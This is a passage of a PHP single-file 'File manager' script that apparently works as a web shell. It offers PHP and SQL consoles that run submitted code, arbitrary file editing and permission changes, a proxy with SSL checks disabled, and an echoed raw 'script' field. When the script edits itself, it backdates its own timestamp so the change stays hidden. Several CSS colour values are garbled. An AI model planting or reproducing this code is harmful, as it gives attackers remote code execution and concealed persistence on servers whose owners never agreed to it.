		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
